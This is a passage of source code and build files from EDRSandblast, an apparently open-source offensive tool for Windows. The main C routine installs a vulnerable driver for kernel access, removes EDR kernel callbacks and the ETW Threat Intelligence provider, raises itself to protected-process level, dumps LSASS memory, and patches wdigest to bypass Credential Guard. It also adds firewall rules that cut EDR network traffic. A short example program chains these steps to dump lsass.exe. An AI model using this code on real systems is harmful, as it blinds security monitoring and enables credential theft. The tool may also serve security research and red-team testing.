LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions)
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ntoskrnl in use."));
}
}
if (internet && !NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
_putts_or_not(TEXT("[+] Downloading kernel related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
LoadNtoskrnlOffsetsFromInternet(FALSE);
#else
LoadNtoskrnlOffsetsFromInternet(TRUE);
#endif
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
else {
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (FileExists(ntoskrnlOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveNtoskrnlOffsetsToFile(ntoskrnlOffsetCSVPath);
}
}
}
if (!NtoskrnlAllKernelCallbacksOffsetsArePresent()) {
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. Aborting...\n"));
return EXIT_FAILURE;
}
// Print the kernel offsets in verbose mode.
if (verbose) {
PrintNtoskrnlOffsets();
}
// Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
if (isDriverAlreadyRunning){
_putts_or_not(TEXT("[+] Vulnerable driver is already running!\n"));
SetDriverServiceName(serviceNameIfAny);
}
else {
_putts_or_not(TEXT("[+] Installing vulnerable driver..."));
status = InstallVulnerableDriver(driverPath);
if (status != TRUE) {
_putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver"));
_putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again..."));
Sleep(20000);
CloseDriverHandle();
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(driverPath);
Sleep(2000);
if (status != TRUE) {
_putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left..."));
return EXIT_FAILURE;
}
}
Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready
_putts_or_not(TEXT("\n"));
}
// Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS.
_putts_or_not(TEXT("[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations..."));
foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!foundEDRDrivers) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
return EXIT_FAILURE;
}
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
if (foundNotifyRoutineCallbacks) {
isSafeToExecutePayloadKernelland = FALSE;
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication..."));
foundObjectCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\tObject callbacks are %s !\n"), foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
if (foundObjectCallbacks) {
isSafeToExecutePayloadKernelland = FALSE;
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
_putts_or_not(TEXT(""));
if (ETWTIState) {
isSafeToExecutePayloadKernelland = FALSE;
}
}
if (startMode != audit) {
if (isSafeToExecutePayloadKernelland && (isSafeToExecutePayloadUserland || directSyscalls)) {
_putts_or_not(TEXT("[+] Process is \"safe\" to launch our payload\n"));
// Do the operation the tool was started for.
switch (startMode) {
// Start a process executing cmd.exe.
case cmd:
_putts_or_not(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n")
TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n")
TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n"));
// Find cmd.exe path.
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
TCHAR cmdPath[MAX_PATH] = { 0 };
_tcscat_s(cmdPath, _countof(cmdPath), systemDirectory);
_tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe"));
_tsystem(cmdPath);
break;
// Dump the LSASS process in a new thread.
case dump:
if (kernelMode) {
if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) {
_putts_or_not(TEXT("\n[+] RunPPL bypass: Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) since PPL is supported by the OS. This will allow access to LSASS if RunAsPPL is enabled"));
SetCurrentProcessAsProtected(verbose);
}
}
_putts_or_not(TEXT("[+] Attempting to dump the process"));
// Determine dump path based on specified process name.
if (_tcslen(outputPath) == 0) {
TCHAR* processNameFilename = _tcsdup(processName);
hrStatus = PathCchRemoveExtension(processNameFilename, _tcslen(processNameFilename) + 1);
if (FAILED(hrStatus)) {
free(processNameFilename);
processNameFilename = _tcsdup(TEXT("dmp.txt"));
}
_tcscat_s(outputPath, _countof(outputPath), currentFolderPath);
_tcscat_s(outputPath, _countof(outputPath), TEXT("\\"));
_tcscat_s(outputPath, _countof(outputPath), processNameFilename);
if (processNameFilename) {
free(processNameFilename);
processNameFilename = NULL;
}
}
else if (PathIsRelative(outputPath)) {
SIZE_T newOutputPathsZ = _tcslen(currentFolderPath) + _tcslen(TEXT("\\")) + _tcslen(outputPath) + 1;
TCHAR* newOutputPath = calloc(newOutputPathsZ, sizeof(TCHAR));
if (!newOutputPath) {
_putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments"));
lpExitCode = EXIT_FAILURE;
break;
}
_tcscat_s(newOutputPath, newOutputPathsZ, currentFolderPath);
_tcscat_s(newOutputPath, newOutputPathsZ, TEXT("\\"));
_tcscat_s(newOutputPath, newOutputPathsZ, outputPath);
_tcscpy_s(outputPath, _countof(outputPath), newOutputPath);
if (newOutputPath) {
free(newOutputPath);
newOutputPath = NULL;
}
}
HANDLE hThread = NULL;
// Set arguments for function call through
PVOID* pThreatArguments = calloc(2, sizeof(PVOID));
if (!pThreatArguments) {
_putts_or_not(TEXT("[!] A fatal error occurred while allocating memory for thread arguments"));
lpExitCode = EXIT_FAILURE;
break;
}
pThreatArguments[0] = processName;
pThreatArguments[1] = outputPath;
if (directSyscalls) {
hThread = CreateThread(NULL, 0, SandMiniDumpWriteDumpFromThread, (PVOID) pThreatArguments, 0, NULL);
}
else {
hThread = CreateThread(NULL, 0, dumpProcessFromThread, (PVOID) pThreatArguments, 0, NULL);
}
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, (PDWORD)&lpExitCode);
if (lpExitCode != 0) {
_putts_or_not(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe"));
lpExitCode = EXIT_FAILURE;
}
}
else {
_putts_or_not(TEXT("[!] An error occurred while attempting to start the new thread..."));
lpExitCode = EXIT_FAILURE;
}
if (pThreatArguments) {
free(pThreatArguments);
pThreatArguments = NULL;
}
break;
// Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory.
case credguard:
if (_tcslen(wdigestOffsetCSVPath) == 0) {
TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv");
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
if (FileExists(wdigestOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file"));
LoadWdigestOffsetsFromFile(wdigestOffsetCSVPath);
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use."));
}
}
if (internet && (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0)) {
_putts_or_not(TEXT("[+] Downloading wdigest related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
LoadWdigestOffsetsFromInternet(FALSE);
#else
LoadWdigestOffsetsFromInternet(TRUE);
#endif
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
else {
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (FileExists(wdigestOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveWdigestOffsetsToFile(wdigestOffsetCSVPath);
}
}
}
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file. LSASS won't be patched...\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_putts_or_not(TEXT(""));
if (kernelMode) {
_putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled"));
if (g_ntoskrnlOffsets.st.eprocess_protection != 0x0) {
SetCurrentProcessAsProtected(verbose);
}
}
if (disableCredGuardByPatchingLSASS()) {
_putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system."));
}
else {
_putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed."));
lpExitCode = EXIT_FAILURE;
}
}
break;
// Add firewall rules to block EDR network communications.
case firewall:
{
hrStatus = S_OK;
fwBlockingRulesList sFWEntries = { 0 };
_tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n"));
hrStatus = FirewallBlockEDR(&sFWEntries);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n"));
}
else {
_tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n"));
}
_tprintf_or_not(TEXT("\n"));
FirewallPrintManualDeletion(&sFWEntries);
break;
}
}
_putts_or_not(TEXT(""));
}
// If the the payload is not safe to execute.
else {
if (WasRestarted()) {
_tprintf_or_not(TEXT("Something failed, cannot perform safely execute payload. Aborting...\n"));
exit(1);
}
_putts_or_not(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n"));
#ifdef _DEBUG
assert(kernelMode);
#endif
/*
* 1/3 : Removing kernel-based monitoring.
*/
// Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo.
if (ETWTIState) {
DisableETWThreatIntelProvider(verbose);
_putts_or_not(TEXT(""));
}
// If kernel callbacks are monitoring processes, we remove them and start a new process.
if (foundNotifyRoutineCallbacks) {
_putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading..."));
RemoveEDRNotifyRoutineCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
if (foundObjectCallbacks) {
_putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication..."));
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
/*
* 2/3 : Starting "resursively" our process.
*/
// Re-executing the present binary, without any kernel callback nor ETWTI enabled.
_putts_or_not(TEXT("[+] All EDR drivers were successfully removed from Kernel callbacks!\n\n==================================================\nStarting a new unmonitored process...\n==================================================\n"));
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
// Pass the same argument as the parent process.
TCHAR* currentCommandLine = GetCommandLine();
CloseDriverHandle();
if (CreateProcess(argv[0], currentCommandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else {
_putts_or_not(TEXT("[!] An error occured while trying to create a new process"));
lpExitCode = EXIT_FAILURE;
}
_putts_or_not(TEXT("\n"));
/*
* 3/3 : Restoring state after execution.
*/
// By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set.
if (restoreCallbacks == TRUE && foundNotifyRoutineCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's kernel notify routine callbacks..."));
RestoreEDRNotifyRoutineCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
if (restoreCallbacks == TRUE && foundObjectCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks..."));
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
// Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) {
EnableETWThreatIntelProvider(verbose);
_putts_or_not(TEXT(""));
}
if (foundEDRDrivers) {
free(foundEDRDrivers);
foundEDRDrivers = NULL;
}
}
}
if (kernelMode && removeVulnDriver) {
// Sleep(5000); // TODO : replace by a reliable method to check if the driver is ready
_putts_or_not(TEXT("[*] Uninstalling vulnerable driver..."));
CloseDriverHandle();
status = UninstallVulnerableDriver();
if (status == FALSE) {
_putts_or_not(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver"));
_tprintf_or_not(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetDriverServiceName());
lpExitCode = EXIT_FAILURE;
}
else {
_putts_or_not(TEXT("[+] The vulnerable driver was successfully uninstalled!"));
}
}
return lpExitCode;
}
+150
View File
@@ -0,0 +1,150 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{ffa0fdde-be70-49e4-97de-753304ef1113}</ProjectGuid>
<RootNamespace>EDRSandblastCLI</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>$(SolutionDir)\EDRSandblast\Includes;$(IncludePath)</IncludePath>
<LibraryPath>$(LibraryPath)</LibraryPath>
<TargetName>EDRSandblast</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<IncludePath>$(SolutionDir)\EDRSandblast\Includes;$(IncludePath)</IncludePath>
<LibraryPath>$(LibraryPath)</LibraryPath>
<TargetName>EDRSandblast</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>$(SolutionDir)$(Platform)\$(Configuration)\EDRSandblast_Core.lib;Dbghelp.lib;Version.lib;Winhttp.lib;Pathcch.lib;Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,31 @@
#include "../EDRSandblast_StaticLibrary/EDRSandblast_API.h"
#include <stdio.h>
#pragma comment(lib, "Dbghelp.lib")
#pragma comment(lib, "Version.lib")
#pragma comment(lib, "Winhttp.lib")
#pragma comment(lib, "EDRSandblast_Core.lib")
#pragma comment(lib, "EDRSandblast_StaticLibrary.lib")
#pragma comment(lib, "Pathcch.lib")
#pragma comment(lib, "Shlwapi.lib")
int main()
{
EDRSB_CONTEXT ctx = { 0 };
EDRSB_CONFIG cfg = { 0 };
cfg.bypassMode.Usermode = TRUE;
cfg.bypassMode.Krnlmode = TRUE;
cfg.offsetRetrievalMethod.Internet = TRUE;
cfg.offsetRetrievalMethod.File = TRUE;
EDRSB_STATUS status;
if (status = EDRSB_Init(&ctx, &cfg) != EDRSB_SUCCESS) {
printf("EDRSB_Init: %u", status);
}
Usermode_RemoveAllMonitoring(&ctx, Find_and_use_existing_trampoline);
Krnlmode_RemoveAllMonitoring(&ctx);
Action_DumpProcessByName(&ctx, L"lsass.exe", L"C:\\no_scan\\tmp\\tmp.tmp", Find_and_use_existing_trampoline);
Krnlmode_RestoreAllMonitoring(&ctx);
EDRSB_CleanUp(&ctx);
}
@@ -0,0 +1,141 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{04dfb6e4-809e-4c35-88a1-2cc5f1ebfebd}</ProjectGuid>
<RootNamespace>EDRSandblastLsassDump</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
